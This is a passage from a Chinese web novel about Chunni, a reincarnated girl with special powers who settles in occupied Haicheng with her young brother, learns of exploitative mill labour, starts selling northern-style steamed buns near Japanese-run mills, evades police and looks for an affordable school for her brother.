漂泊十来天,总算有了个相对安稳的落脚处,尽管太阳仍然烤得靠窗的那一面能煎熟鸡蛋,在春妮问房东借来水壶烧完两桶水,将姐弟两个统统洗刷一遍之后,还是疲惫地倒在床上睡着了,连饭都没来得及吃。 一觉醒来后,天还是亮的。 春妮在看到东升的太阳时,才知道自己和夏生两个竟然人事不知地睡到了第二天早上。 新的一天有新的希望,新的一天也有新的烦恼。 从老家出来前,春妮就没准备再回去。她变卖了家里能卖的东西,加上奶奶和她妈往年的积蓄,总共两百多块大洋和一条小黄鱼正安全地躺在她的空间中。 她以为这些钱省着点,少说用个三五年没问题,但不出门不知道,一出门吓一跳。 光是到海城来的这一路,她就至少花去了二十块大洋。海城这两年物价飞涨得厉害,昨天坐完车再租房子添置家什,又花掉了十块半。这么花下去,再加上吃吃喝喝一扣,不用小黄鱼的话,不到一年他们就得喝西北风去了。 至于春妮空间里的那些物资,都是关键时候能救命的,她不可能这个时候拿出来变现。何况她手里的东西有些是超越时代的发明,这个时候拿出来,不是自找麻烦? 开源节流迫在眉睫,至少得先找个工作。春妮心里生起了紧迫感。 那找什么工作呢?报童?擦鞋匠?春妮提着水桶下楼打水时,想到在电车上看到的那些小孩的职业,一个个筛选。 她现在实岁十二岁,在他们老家,十二岁的男娃只能给人做学徒,不止没有工钱,还要出徒工费交给师傅。十二岁的女娃嘛,都开始嫁人了。 她们现在租住的房子是典型的石库门建筑,所有房客用水都需要到一楼的灶披间去提。春妮到的时候,一楼已经有人了。 “顾小妹,来打水呀?”一个中年妇女笑着跟她打了声招呼。 昨天春妮下来时跟她简单聊过两句,知道她夫家姓于,住在二楼的亭子间里,是个家庭妇女,她丈夫于先生在附近一间小学做□□。 春妮点头跟她问个好,想到这位于太太是本地人,应该知道得更多些,便向她打听:“于太太,你知道哪里有做工的地方吗?” 于太太打量她一下:“小妹子,你这么小能做些什么呀。做女工,这附近你只能去江浦那边去哪。” 不等春妮再问,有人在后边“哎哟哟”,是个女人:“于太太,你心太狠了,怎么推人去那种地方?小妹妹,我跟你讲,江浦那种地方是火坑的,去不得。” 来者是个浓妆艳饰的波浪卷女人,她穿着件紫色印花旗袍,臀和胸包得紧紧的,开衩几乎到了大腿根。加上她毫不掩饰的走路姿势,春妮有了某种猜测。 于太太怪笑一声:“不去江浦,难道去大世界跟金小姐一样伺候男人?别把谁家女子都想得跟你一样。” 金小姐一扬脸蛋:“说得自己比谁高贵似的,都是伺候男人。你伺候男人没工钱,我伺候男人有工钱。怎么,于太太你很嫉妒吧?” 于太太气得手抖:“你,你,你这个不要脸的狐狸精——” 看来今天是打听不出来什么了,春妮绕过这两个斗鸡似的女人,决定吃罢饭先去江浦那里转转。 昨天她在报摊老板那买过份地图,知道江浦就在后边的两条街,走走路半个钟头的事。 9、009 回到三楼,春妮手上多了两条法棍和一个大吐司。 房东吉拉夫妇用房子正中的客堂开了个面包店。闻着香甜的面包味,春妮走不动路了——她终于想起来,从昨天早上开始,她和夏生就没怎么正经吃过东西,现在,她饿了。 终于平安到了海城,不吃顿大餐庆祝庆祝吗? 犹豫两秒钟,春妮走进吉拉太太的面包房,用一块钱换来了这些西点。在春妮心疼得快坚持不住要反悔的时候,吉拉太太善解人意地送了她两瓶牛奶,说是对新房客搬进新居的优惠款待。 饭后,春妮舒服地打了个充满奶香气的嗝,在吉拉太太家小儿子的指点下,带着怎么说都要跟上来的弟弟夏生,穿过两条倭人聚居的街道,找到了江浦。 纱厂,纱厂,纱厂……这一带大大小小竟然有少说七八家纱厂的分布,而且看门口保安的着装,这些纱厂绝大部分应该都是倭人开设的。难怪于太太推荐她来这里做女工,这里肯定常年缺人。 “姐姐,我们走吧。”夏生有些忐忑,那里有穿武士服的守卫已经注意到了他们,正瞪向他们。 面对着这些面孔凶恶的家伙,春妮却迎上去笑道:“先生您好,请问您这里招女工吗?” 小女孩甜甜的笑容让他即将出口的喝斥停顿了一下,不过说话还是很生硬:“没有,走开。” 被喝斥后,春妮也不生气,礼貌地跟那人道谢之后转身走向下一个目标。 走了两步,她感觉有些不对,回头一看,夏生站在原地,嘴巴撅着,气得不得了。 “怎么了?” 夏生怒冲冲回头:“姐姐,那个人不好,你怎么还跟他笑?” 春妮蹲下身子,神情严肃起来:“你忘了姐姐教你的?实力不够的时候,永远不要对人吐露自己的真实想法。” 夏生回忆片刻,扁扁嘴:“我知道了。可那个人又不是堂叔。” 春妮妈死后,因为想得到春妮家的地,几个族亲总是想歪点子对付他们。旁人还好,最多谋划早点把她嫁出去,最过分的是堂叔一家。最严重的一次,堂叔还指使过自己儿子推夏生下水。虽说她事后堵住那小屁孩,怼住他的脑袋在河水里灌了半个时辰,叫他一次喝足了水报过仇。但两家至此斗到明面上,她再想安稳地住下去是不能了。 春妮被逼得不得不离家投奔渣爹前,曾去找过堂叔,说地里的麦子快熟了,看在亲戚的份上,她把麦子卖给堂叔,地也给他家种,好换点路费去找他们爹。堂叔假惺惺说要送他们点程仪,可总共就掏了两个铜元,春妮把铜元拍到地上,他转身到处哭穷说她瞧不起穷亲戚,死活要赖下这笔帐。春妮就说,既然堂叔买不起,她索性一把火烧了,省得大家因为这点东西做不成亲戚。 她作势拿着火把去田里,被人拦下来两回。堂叔怕了,只得在大堂伯的调停下,割肉般拿出市价五成的价钱送走了姐弟俩。 他不知道的是,其实春妮早在寻他之前,就把田地连带麦子五折贱卖给了王地主,条件就是她几时走,几时签契。在这之前,发生什么事,王地主都不能说出去。 王地主鸡贼,不愿意被堂叔缠上,春妮前脚走,他后脚就去通知堂叔家。可春妮也不笨,她当着人出了村,转身就猫到山洞藏了两天,直到追她的人都回来的差不多,这才偷偷启程。要不怎么说命运难测呢,她要是当天正常坐了火车,说不得也不会遇上大水,遭这一场难了。 不过,王地主可不是他们两个没权没势的小孩,堂叔的这笔麦子钱是休想收回来了。 这事春妮没瞒着夏生,他小孩子跟在她身边,也看懂了一些。 春妮冲再次看过来的保安露出甜甜的微笑:“不止是堂叔,所有对你心怀恶意的人,没有掀桌子的能力之前,都要学会先用笑容武装自己。明白吗?” 夏生有些懂,好像又有些不懂,但知道这会儿要乖乖点头:“我明白了,姐姐。” 春妮也不指望一次教会他,她随意跟他说些其他的事,走到了另一间纱厂外头。 这间纱厂的人比先前那一家热情多了,听说她是来应招女工的,马上笑着要拉她进去面试。 春妮想到之前金小姐说的话,留了个心眼,说自己要先跟父母商量一下,拉着夏生跑了出来。 转完这几个纱厂,也到了中午吃饭时间。春妮带着弟弟去菜市买了些米面油蔬菜,还买了一捆柴并几个煤球让人送到面包房,回到了自家的三层小阁楼。 因为第三层层高不高,还有些木质结构,租房前,春妮跟吉拉太太有过约定,阁楼上只能放煤球炉子热水,一切需要用到明火的东西都要放到灶披间烹制。 春妮数出中午要吃的份量,拿着新买的锅去了灶披间。 这会儿到了下午,于太太还在灶披间刷锅。 春妮跟她打过招呼开始和面,于太太问她,工作找得怎样。春妮说还在考虑,于太太就说起她这个年纪的小姑娘要不是给人帮佣,要不只能做女工,叫她一定想好。 春妮觉得她嘴有点碎,渐渐的就只笑不再说话了。幸好在春妮烙饼之前,她总算让出灶眼回了房。 春妮松了口气,连剁馅的动作都轻快了许多。到她心情愉快地剁完馅,才发现灶披间里又多了个人。 这个人戴一副黑色玳瑁眼镜,穿着身灰格子纹睡衣,正拿着牙缸对着水槽在漱口。 应该就是于太太说的她同住三楼,这几天正好出差的邻居记者朱先生了。 两人致过意,春妮开火开始烙饼。她烙的是韭菜鸡蛋馅。韭菜的香气最霸道,即使包着厚厚的饼皮,叫鏊子里的热气一激,香味就透了出来。偏偏那香气隔着饼皮,释放得不尽兴,若有若无,更是勾人。 春妮继承她妈的手艺,这一手烙饼连她奶奶都挑不出毛病。这会儿多日未练,竟是被自己的手艺馋得咽了下口水。 “咕”。 春妮一怔,不是她啊,她不……她转过头去,那位朱先生面色赧然地捂着肚子:“失礼了,刚坐完火车,急着回来补觉,竟忘了吃些东西。”偏偏控制不住,俩眼直勾勾盯着那叠金黄色的饼。 春妮失笑,用碟子拣出两张塞给他:“先拿着吃吧。” 朱先生嘴里说着:“这怎么好意思。”握着那饼不放,谢了又谢,转身上了楼。 海城的白面贵是贵,可没有老家那么金贵。春妮也不是个小气人,跟夏生两个香甜地吃完饼,她想起他们两个换的脏衣服没洗,索性下午不再出门,把这一路换下来都还没来得及洗的衣裳一次全给洗干净了。 洗涮一下午,春妮回到三楼,准备跟中午一样,再兑点面出来去做晚饭,她的门被敲响了,门外站的竟然是朱先生。 朱先生手上拿着个报纸包,也不知道是热的还是晒的,耳朵根红红的。不等春妮说话,就把报纸包往她手里塞:“太抱歉,中午吃了些小姐的午餐,这两个油墩还请小姐别嫌弃,算是我请你吃的。” “哎——” 这位朱先生塞完报纸包就朝外跑,生怕被春妮追上似的,绕到另一边打开门,再“啪”地关上了。 春妮:“……”不知道的,怕不是要以为他是来丢炸|弹的吧。 “姐姐,包的什么啊?”夏生这个小馋猫闻到香味,跑来打开了报纸包。 春妮使唤他去拿只干净的碗,将两个油墩放进去,准备把报纸扔进纸篓前,她看了一眼,一下怔住了。 报纸中心被油浸住的那部分,其他地方已经模糊,只留一个震悚的标题《深切分析:华国政府军炸毁沙河沙北省钟县段大堤之目的》。 沙北省钟县?那不就是她家乡吗?她遭的水灾真是那群王八羔子害的???? 10、010 当吉拉面包房第一炉面包的香气钻进小楼中时,除了上班时间跟其他人不一样的金小姐,该出门的差不多都出了门。 朱先生推推鼻梁上的眼镜,也提着公文包预备下楼,隔壁的房间开了门。 “朱先生,请等一下,”顾春妮拿着已经展平整的报纸:“我想问问您,报纸上的这则消息,您还记得怎么登的吗?” 朱先生随意瞟了眼,不在意道:“不用信,肯定是假的。” 春妮:“……”她简直怀疑朱先生连标题都没看清。 朱先生又推了推眼镜,耳朵又红了:“鄙人不才,就在这间报馆里就职。写报道的人我也认识,他这些天没出过海城,怎么可能知道千里之外的事?” 春妮算是开了眼:“这……这么大的事都敢瞎编,这也太……”想起朱先生在这里工作,到底不好说得太过分。 朱先生倒是没什么忌讳:“我们报馆的大股东是倭人,倭人的报纸能有华国什么好话。顾小姐不用太当真。” 春妮:“……” “都是找口饭吃,咱们自己心里清楚就行了。”朱先生想起来给自己辩驳两句:“我负责的是文学版面,薪俸是比不上那些大记,但至少不用昧良心说话。” 他又说:“海城报纸很多暗地里都有倭人控股,想在这一行干,很难避开这种事。” 春妮估计他是心里尴尬,装着很懂的样子点点头:“倭人狼子野心,咱们要养家糊口,那也是没办法的事。” 朱先生就笑起来:“正是这个道理。顾小姐怎么想起来问这事?” 春妮就把她一路逃难的事情简单说了两句,这回轮到朱先生大开眼界:“想不到顾小姐的经历这么曲折。你当天真没记错,洪水是无缘无故下来的?” 这话春妮已经跟无数个人说过,正想照套路跟朱先生再说一遍,他却取出怀表看了看,开始拔腿狂奔:“对不住,我得去上班了。顾小姐,你这事是有点不一般,咱们改天再聊,改天再聊!” 告别朱先生,春妮收拾收拾也要出门去。 昨天去了倭人的地盘,她今天预备先去英国人的地盘转转,看有什么机会。 这次她不准备带夏生去,反正同样不会走远。她把老家秀才给夏生开蒙的那套书拿出来,给他布置了写十张大字的任务,嘱咐他一个人在家,谁敲门也不能开,甩甩手一个人轻松下了楼。 下楼的时候,金小姐的房间门终于开了。她穿件香槟色丝绸吊带睡衣,外头披一条印花晨褛,香肩半露,正倚着门吞云吐雾。 经过她时,春妮礼貌地对她点点头:“金小姐起床了。” 金小姐挑挑眉尖,很诧异:“是你啊,小妹子。这么早,是真在纱厂里找到工作了?” 春妮很在意她昨天说的话,摇头道:“昨天听了您的意见,我不敢随便去。您昨天为什么说那地方是火坑?” “想知道啊?”金小姐轻笑,回房取出两个铜角子,“给我买条羊角面包,我就告诉你。” 一条羊角面包只要一个半铜角子,春妮说服吉拉太太送她一瓶隔夜的牛奶,一起拿给了金小姐。 金小姐咬口面包,笑说:“那五分钱是给你的跑腿钱,你也太老实,还给我一瓶牛奶,是我赚了。” 见春妮不搭茬,她按熄烟卷,笑道:“小妹子是个实在人,我也不骗你。现如今纱厂里有三种工,一种是正常招进来,每个月至少十二块工钱的雇佣工。再一种是养成工,这个要考试,还要有工厂相熟的保人肯荐你,你做不了。最后就是你这样无依无靠,逃难来的外地小姑娘,只能去做包身工。进了厂你人生地不熟,工钱都在拿摩温手里,每天只管一点吃食,一年做到头,连厂门都出不得,只能留在那当那拉磨的驴。于太太在这住得时间最久,她知道还推你去,肯定没安好心。” 春妮:“……”这位金小姐可真是记仇。 不过她这么一说,那的确是去不得了。虽然春妮绝对不可能老老实实留在工厂里当驴,可平白无故的,没必要去遭那个罪。再说她还有个弟弟,她若是去了工厂,弟弟谁照顾? “拿摩温是什么?” “拿摩温啊,就是你们家乡讲的工头。” 金小姐做这份职业,早做好被人看不起的准备,但遇着个不另眼看她的春妮,心里舒坦,趁闲多指点她两句:“不止是倭人,华人,英国人开的工厂也不是都干净。你小姑娘家家,在哪都不好过,别被人两句话就哄得不知道轻重。做娘姨也不用说,荐头店里娘姨比主人都多。都要看人脸色高低的,遇到坏心主人家,跟包身工也不差去多少。还有现在满大街的向导社,那也不是正经行当。我舞小姐正经跳舞,跟舞厅分成都要给人戳脊梁骨,向导社赤眉白脸拉姑娘上旅社卖春,不……” 金小姐肆无忌惮一通褒贬,说得这偌大一个海城都是男盗女娼,简直什么事都做不得了。 趁她吃完面包打哈欠,春妮赶紧起身告了辞。 不过有一条,春妮也不得不承认金小姐说得对。现在海城大量涌入难民,造成佣工市场饱和,很多人找不到工作,沦落风尘的姑娘大有人在。连年轻的女孩子都不好找工作,更何况春妮这样的小姑娘。她在附近转悠两天,发现从她住的另一个方向走出里弄没多久,就是海城的一处大码头,江浦码头。她又花了几毛钱电车费,中间去夏风萍家里看过一回,告知她自己如今的新地址,将整个城市粗粗转过一遍,对自己的生计总算有了初步的设想。 跟那些穿越的前辈们不同,春妮上辈子在学校里学的多数是体术格斗课,这辈子穿过来,被她妈送到村尾秀才家读两年书就算开了蒙,她这点水准,就不用做梦靠磨笔头,吃笔杆子的利是了。 好在她妈没嫁人前,家里有个手艺极好的厨娘,做面食尤其一绝。她外婆知道她妈嫁到顾家要亲手做饭,让厨娘教了她妈几年。从春妮能站稳灶台开始,她妈又把手艺传给了春妮。春妮上辈子饿怕了,她生来力气又比旁人大,知道是吃饭的手艺,下了死力气去学,没过两年就青出于蓝。 她在海城的这几天,发现海城里南北菜馆小吃馆很多,包括面包房也不少见,但北方口味的家常中式面食却没有多少。她吃过好几家,渐渐有了信心。 只是开饭馆免不了跟□□打交道,春妮初来乍道,又是一个人,觉得还是稳妥些好,在菜市场杂货铺里订了两个大蒸笼,又去苏河南岸边的铁号里量身打了个铁炉子并大鏊子,再买来一车煤球,决定先从卖早点开始做起。 她跟吉拉太太商量,每天把炉具放到面包房暂寄。吉拉太太精明地提出,春妮需要负责整栋房子公共部分的卫生,她回家时间早的话,还需要帮她打扫面包房,事情就这么定了。 转眼便是春妮出摊的第一天。 11、011 凌晨,天还黑着,春妮轻手轻脚地起了床。 海城人靠水吃水,开埠以来,海城的一大半产业都是因为码头发展起来的。码头人普遍起得早,想卖早点,就得比这些人起得更早。这些天据春妮观察,海城的早点摊子普遍在五点前,群星没有落下天幕时就要出摊。 吉拉太太一家也很勤快,她下楼的时候,吉拉先生已经站在柜台对面的小案台前揉面了。 春妮也赶紧去了灶披间揉面,吉拉太太揉面做面包,她则揉面做馒头。揉完面之后,不用吉拉太太催促,趁面粉饧发的时间,她拿起扫把墩布,将房子上下从阁楼到门口都打扫了一遍。 春妮做的这种馒头跟海城人常吃的馒头不同,海城人吃的馒头只要饧发足够,揉一揉就可以上锅蒸。而她做的北方馒头有些像末世前以“老面馒头”为噱头的商家们做的馒头,相当讲究功夫。但北方馒头需要的技巧不多,它不需要放酵母,只需要提前两天将水和面粉搅成稀糊状,密封后利用温度自然发酵。揉面时再控制放置碱面的时间和数量,揉出来的面不发酸不发黄,就成功了一半。再之后就全是揉面的功力了,很适合她。 她前世觉醒的就是力量和空间双系异能,这一世虽然两个异能都打了折扣,但揉这点面还是轻轻松松。 他们北方人有句俗语:好馒头都是揉出来的。这句话在春妮手里得到了最充分的发挥。三擀三叠,反复揉圆…… 春妮两手齐发,吉拉先生还在辛苦地打蛋做奶油,她拿十斤面粉揉完的馒头坯已经愉快地全部放上笼屉,开始了二次饧发。 迎着吉拉先生惊讶的目光,春妮萝卜切得邦邦响。她想到光做馒头不够滋味,昨天泡了一坛的黄瓜,准备待会儿一起提出去搭着馒头卖。今天这些萝卜则准备用来做存放得久一些的萝卜干。 萝卜切完放上盐杀水,春妮的蒸屉里,馒头的香味也飘了出来。 她趁热掰开一个,馒头的内芯鲜花一样内卷着,撕开一层一层的,而麦芽的香甜借助她的手劲,被完全激发了出来。又香又软,又甜又面! 而且每个馒头都有两个拳头那么大! 春妮吃得眼都眯了,再给夏生送两个上去,用准备好的棉袄趁热将馒头一包,放进箩筐中挑起,走你! 出门前,春妮往码头的方向看了眼,还是选择了另外一个方向。 码头那地方龙蛇混杂,地痞流氓最多,至少是现在的她不好涉足的。 春妮要去的地方是江浦,就是那个倭人纱厂林立的地方。她在那一带转悠的时候就发现,那一块儿的倭人把那地方当成了自己的地盘,相当地排外,甚至倭人巡警们还会驱逐无意中走“过界”的华国人。 但对像她和夏生这样的小孩子,他们反倒不会那样粗暴。春妮就看见有跟她一样大的报童抱着报纸叫卖,巡警们也只是提着警棍喝斥两句,让他们不要太大声,就不会再多管了。 春妮挑着担子,到达一家挂着“安泰纱厂”牌子的纱厂后门,她隔着马路放下箩筐,开始了第一天的叫卖:“卖馒头喽,又大又软的馒头喽。卖馒头……” 她这些天在附近转悠,其他纱厂的人大部分都像她遇到的第一间纱厂保安一样,仿佛她身上有臭虫传染病似的,远远的看见就撵,只有这间纱厂后门的保安们对她的态度稍微好一点。 春妮问过金小姐,才知道这间纱厂的主人以前是海城最大的纺织业老板,人称纺织大王的吴安泰,倭人攻陷海城之后,他不得不将安泰五成的股份卖给了倭人,现在的安泰纱厂是华倭合资,管理层也大多数换上了倭人。但中层以下的员工都还是华人。 大约是这个原因,纱厂的保安并不全是倭人。而作为倭人保安的头领,至少那位川崎先生同春妮说话时,态度也还算友好。 这会儿正是纱厂夜班下工时间,上下班的人群出出进进,很快就有个姑娘围上来问:“小妹子,你的馒头怎么卖?” “六分钱一个。”春妮说。 “呀,这么贵?码头那只卖三分钱呢。”那人咂咂舌头就要走开。 春妮忙道:“姐姐先看看我家馒头再说嘛。我家馒头跟别人家不一样,是正宗的北方馒头,一斤面粉只做得出五个,现在面粉多贵啊,我们吃一个顶别人三个呢,扛饿得很。”她掰开一个:“您看我们的馒头气眼也小,都用的最扎实的料,不像那面包蛋糕,膨软是膨软,捏紧了还没有半个拳头大,不扛饿。不信您尝尝。” 那姑娘接过馒头尝了尝:“是不大一样,这个馒头怎么甜丝丝的?你是放了糖吗?” 春妮笑而不语,这就是北方馒头和南方馒头的差别。北方馒头的甜味全都是麦芽糖激发出来的,属于越嚼越有嚼劲,越嚼越甜的那种。南方馒头花样多,喜欢加糖加奶,甜是够甜了,味道却嫌不够丰富。 “那我买一个吧。”不知不觉,姑娘吃完了春妮掰的那点馒头,有些不好意思。 “来点泡黄瓜吗?”春妮揭开泡菜坛子,一股酸香味扑鼻而入。她看着姑娘犹豫的神色,补充道:“免费的。” “那给我来几块。”姑娘眼睛一亮。 “好嘞!” 春妮望着她小跑的背影微微一笑,她选择这个时候到这里卖,就是卖给这些赶着上班,没时间买早点的工人们。只有他们这样小有资产,又需要吃饱喝足干重体力活的高薪阶级才会不计较价钱来买她的馒头。 当然,她的馒头卖这个价钱也是一分钱一分货。春妮有信心,只要有人买了第一回,他们一定会回来买第二回。 春妮对工厂里探头看过来的保安们和气一笑。 第一天做的五十个馒头虽然在女工们上班之前只卖掉了一大半,春妮也很高兴,她本来做好了最差一个都卖不出去的准备,这已经是个相当不错的开局了。 回去的时候,春妮绕到码头,将剩下的十来个馒头都卖给了那些蹲在那里等活干的脚夫们。 这些大馒头其实更受脚夫们的亲睐,这两年海城挤满了从全国各地逃难来的难民们。尤其是北方沦陷之后,很多人逃到海城来找不到工作,沦落到码头当脚夫的比比皆是。 比起纱厂那些本地女工,春妮做的足工足料的大馒头更得他们的心意,一个人能吃三个下去,再加上咸香下饭的泡黄瓜。有脚夫恋恋不舍:“姑娘,你明天还来不?” 明天么? 春妮瞅一眼正往这头走来的小混混,笑笑:“明天再说吧。” 担着空筐回去的路上,春妮算了一笔帐,她买十斤面粉花一块八,这五十个馒头卖了三块钱,光早上这一趟,毛利就有一块多钱。现在黄瓜正当季,一毛钱能买四五斤,做泡黄瓜更不费多少钱,何况泡黄瓜的水可以反复泡制。就是一天只出这一趟摊,除掉房租等开销,也尽够她姐弟两个吃喝还有剩。 春妮这两天打听得很明白,就是在纱厂当拿摩温,一个月的薪水都不一定有三十块呢。她做做馒头就有这么高的毛利……这生意太做得了! 春妮干劲满满,赶在晚上八点钟,白班纱厂女工下工前,她又做十斤馒头挑了过去。 晚上的生意比不上早上,女工们要么是吃了饭来上的工,要么回家有饭吃。但夏天晚上出来散步的人多,敢在附近摆小吃摊的,可只有她一个人。春妮蹲了一两个钟头,有一搭没一搭地,十点钟之后也卖得差不多了。 就是这个时间,是不是有点太晚了? 春妮抬头望望天色,想起回去的路上有一段没有路灯,心里有点犯嘀咕。 12、012 春妮的馒头生意局面打开得有些出乎意料的快。 她一开始准备的十斤面粉没过几天就不够卖了,她马上加到十五斤,二十斤……现在粮食店的小伙计每隔两天会给她送两袋五十斤的面粉上门,这大大节省了春妮采购的时间。 春妮也适当增加了售卖的品种,除了最受欢迎的实心大馒头,还有花卷和豆沙花生芝麻馅的甜包子。海城人口味偏甜,这几种口感的甜包子也相当受欢迎。 就是有一条,之前她出门前,怕夏生在她不在时乱跑闯祸,会将房门锁起来,放几个玩具让他一个人在屋里玩耍温书。开始的那几天夏生还乖乖的,姐姐说什么是什么,但每天都是这样,再乖再听话的孩子也受不了。 春妮只能每天卖完馒头后尽量抽时间陪他玩玩,但每天在蒸笼似的小阁楼里关七八个小时,只能放一个钟头的风,跟她住在同一条街上的监狱都不这么对付犯人呢,长时间下去不是办法。 这段时间,春妮在考虑,是不是找间学校让他去读。可这孩子今年才五岁,海城情况又这样复杂,春妮有些不放心把他一个人丢在学校。 “巡警来了,春妮快跑啊!”街对过,一个报童大声向她示警。 春妮一跃而起:“不卖了不卖了,快让让,让让!” 她在这卖了一段时间的馒头后,就有跟她一样的小摊贩闻风而动,也开始挑着担子朝纱厂这边集合来卖吃食。在生存面前,倭人的凶恶嘴脸似乎也不成了问题。 但本来这附近只有春妮一个小孩子,这么个小姑娘,每天挑这么重的担子,一筐大馒头垒起来,埋得半个身子都不见,看着的确可怜。何况这个苦孩子看见谁都笑,一点不以为苦,就更叫人怜惜了。以前有些巡警就是看到了也懒得管,人多起来后,巡警们再也无法视而不见。 现在隔三岔五的驱赶已经成了常事。 他们这种程度的驱赶,有些像末世没来临前春妮见过的城管,除了跑的慢的人会挨两棍子,被扣押售卖物品,并没有多严重的后果。 而且很快有人发现,女工们的上班时间比巡警早一个钟头,下班又比他们晚一个钟头,只要赶在巡警们回巡捕房交接班的那点时间把东西卖出去,就不会有任何问题。 跟被卖断人身的包身工不同,这些在纱厂正常工作的女工们并不缺钱。习惯了巡警们做事的风格,来附近摆摊的小贩们越来越多,每天巡警和小贩上演的追逐戏简直成了固定的景观。 春妮跑到街对面,这个叫李德三的报童还在等她,他帮她抱起泡菜坛子,一脸嫌弃:“你怎么还有这么些没卖出去?跟你说了,叫你一次卖少一点,你干嘛不听?” 春妮健步如飞,让他注意前边:“那边还有两个,这里!” 前两天李德三在躲避巡警时绊了一跤,是春妮扶他起来,让他逃过了一顿毒打。李德三投桃报李,这两天看到巡警后总会先一步过来提醒她。 两个小孩子在巷子里七钻八钻,凭借对道路的熟悉和身板的灵活,总算甩掉了身后那两个骂骂咧咧的巡警。 “哎,跟你说话呢,你明天少卖点不行吗?”李德三喘着粗气拐拐她的胳膊。 “不行,我要攒钱让我弟弟读书。”春妮揩了把汗,说出自己的打算:“这附近的学校也太贵了,一个学期要二十多块钱学费,还不包括书本费。我得趁这会儿生意好做多赚点,往后附近做生意的人越来越多,可就不好说了。” “你对你弟弟可真好。”李德三羡慕道:“要是我娘还在,这会儿我肯定也在读书。我娘这辈子就稀罕读书人。” 春妮拍拍他:“你现在也不错啊,这一块儿除了你,可没有第二个报童敢来。一天不少赚吧?” “可别了吧,赚的这点还不够拿棒疮药的。”李德三翻了个白眼:“我可不比你,一份报纸才赚两分钱,一天都卖不到五十份。要是跑得慢些,就要吃烧包。” “吃烧包什么意思?” “不懂了吧?是我们的行话,就是报纸卖不完的意思。你馒头吃了烧包,还能拿回去热热自家人吃,我要是吃烧包,一毛钱一份的报纸只能当引火纸。” 再这样说下去,就要成比惨大会了。春妮问他:“这块你人头熟,帮我打听打听,哪所学校收得便宜些。” 这小子摇摇头:“那可难找。要是去年以前你问我,我能给你找到六块以下的,可打从,”他朝街上那些穿着倭人衣裳的家伙努努嘴,老气横秋地:“打从他们来了后,什么东西的价钱都比着高地涨,去年一角钱买一碗菜肉馄饨,现在都涨到了三角钱,我瞧这日子是越发难过了。天天报纸上吹得胡里花地,实际上全是放你妈屁。” 春妮噗地一笑,觉着这小子有说相声的潜能。 他们头顶吱呀一声响,有个女人从木窗里探出头:“小姑娘,买几个甜包子。” 这一带是倭人聚居区,叫住她的自然也是个倭人女子。 春妮认得她,这个挽着倭国传统发髻,细眉细眼的年轻妇人来她摊子上买过两回馒头。春妮脸上堆起个笑:“您今天还是要芝麻包吗?” “对,跟昨天一样。两个芝麻包,再要两个豆沙包。你从这里进来,等我下楼给你钱。” 李德三捅捅春妮,春妮会意:“您还需要报纸吗?《申报》《海城新报》都有,还有你们倭国报,叫什么来着?” 李德三:“《京都报》。” “你有《京都报》?那给我送一份进来。那边是玄关,请从那里进门。” 这个倭国女人住的房子是典型的倭国木质结构,外头一间小庭院,庭院下种了两株樱树,一条碎石路延伸到走廊下的台阶。走廊则全部铺上木地板,廊檐下挂两串风铃,此刻微风舒卷,吹得风铃叮叮的响,有种悠静的活泼。李德三显然进来过这样的房子,他走到房子下边的台阶,就站住了。 没一会儿,木门从里边拉开。只穿着雪白丝缎袜的倭国女子在门里微笑:“东西送上来吧,不要紧的。” 她接过包子和报纸,付钱的时候问起春妮:“小姑娘,你想上学吗?失礼了,我不是有意听到你们的说话。我的意思是,你如果想读书的话,我可以帮你介绍。” 春妮作出为难的神色:“可我没有钱。” 她和善地说:“我们的学校收费不贵。” “那是多少钱?” “一个学期五块钱。”她报出个便宜到叫人咂舌的价格:“这只是象征性收费,学生的书本纸笔费也包含在里边。” 这的确是个相当让人心动的价钱,春妮很吃惊:“一个学生只收五块,那得收多少学生才够本哪?” 倭国女子露出骄傲的神色:“这是我们皇帝陛下的恩祉,我们陛下对华国下一代的教育可是很关心呢,特地拨款鼓励我们在华国建学,体沐陛下圣恩。” 我们华国的事,跟你个倭国鬼子有什么相干…… 不知怎地,春妮想起那些在海城火车站从她面前走过的倭国军人,作出思考的神色:“我还缺点钱,让我好好想想吧。” 从那倭国女子家出来,李德三不解地问:“这么便宜的事不好找,你干嘛不答应呢?” 春妮说他:“便宜没好事,这道理你不懂吗?” 李德三若有所思:“这倒也是,倭国人一向贪心得很。说不定他们先用免费的骗你进去,之后再逼着你交钱也说不定。” 春妮:“……你明白就好。别忘了我托你打听的事。” “忘不了,有信儿了我来找你。” 为了夏生读书的事,春妮这两天忙坏了。她不止亲自跑了几间学校,拜托过李德三,还问了朱先生,于太太等房客们,包括吉拉太太她也没忘记咨询。学校还没找好,朱先生给她带来个信儿,说他有记者朋友对她在水灾中的经历感兴趣,想来采访她,问她同不同意。 他见春妮犹豫,又说,对方是大报记者,采访一次有一块钱的奖励金可拿。 春妮立刻表示,她一定会全力配合记者先生的采访。 朱先生的记者朋友还没跟春妮约好时间,李德三给她打听的学校先有了消息:“春妮,我知道有个学校要招生,你来不来?” “你先说学费多少?”春妮这两天被房客们报出的,一个比一个高昂的学费吓到了。 “免费!” “免费?!” 13、013 如果是一个从现代社会穿越到民国的普通女孩子,让她形容对民国的印象,除了脏乱差,绝对少不了冷漠,麻木,道德沦丧这类经典形容词。 这不是拾前人牙慧,而是生在这个年代,政府上层尸位素餐,下层为非作歹。普通人朝不保夕,没有未来,光是活着已经需要用尽力量,善良和同情这种奢侈的品德……至少春妮长这样大,她没见过有几个人有。大多数人最多像她这样,遇到有人遭难稍带手帮一把,绝不可能把钱掏出来用在不相干的人身上。 现在李德三告诉春妮,说有个大善人决定免费为他们这些难童们办学,春妮第一反应是,这不是人贩子想出来骗小孩去卖的新招吧? 李德三信誓旦旦:“我骗你是小狗!跟你讲,人家张先生说了,学校是专门办给我们这些报童的,省得我们天天拿着报纸,不知道上边写的什么,该怎么叫卖。要不是我,谁会告诉你这样的好事?你交好运了知不知道?” 春妮:“行行行,好运,好运。那你说,办学校的人是谁?他为什么要办这个学校?他钱从哪来?老师从哪来?场地从哪来?他没事干嘛干这个?” 李德三:“……我哪知道得这么清楚?但我们的校长以前当过政府的教育部长,张鹤年先生,知道吗?是现在撤到双城的那个教育部长!不是快成立的,那个跟倭人穿一条裤子的新政府。” 倭人一直在物色合适人选成立新政府,这件事报纸吹了几个月的风,普通海城人都知道了,只等着看谁敢做这华夏第一大奸人。 春妮忽然想到昨天那个倭人女子向她推荐的,便宜到跟白送似的学费。她有些明白了:现在倭人将手伸向了华国的孩子们,政府必然不会甘心。孩子才是下一代的希望,这位张鹤年先生可能是旧政府推出来跟倭人和即将组建的新政府打擂台用的代理人。 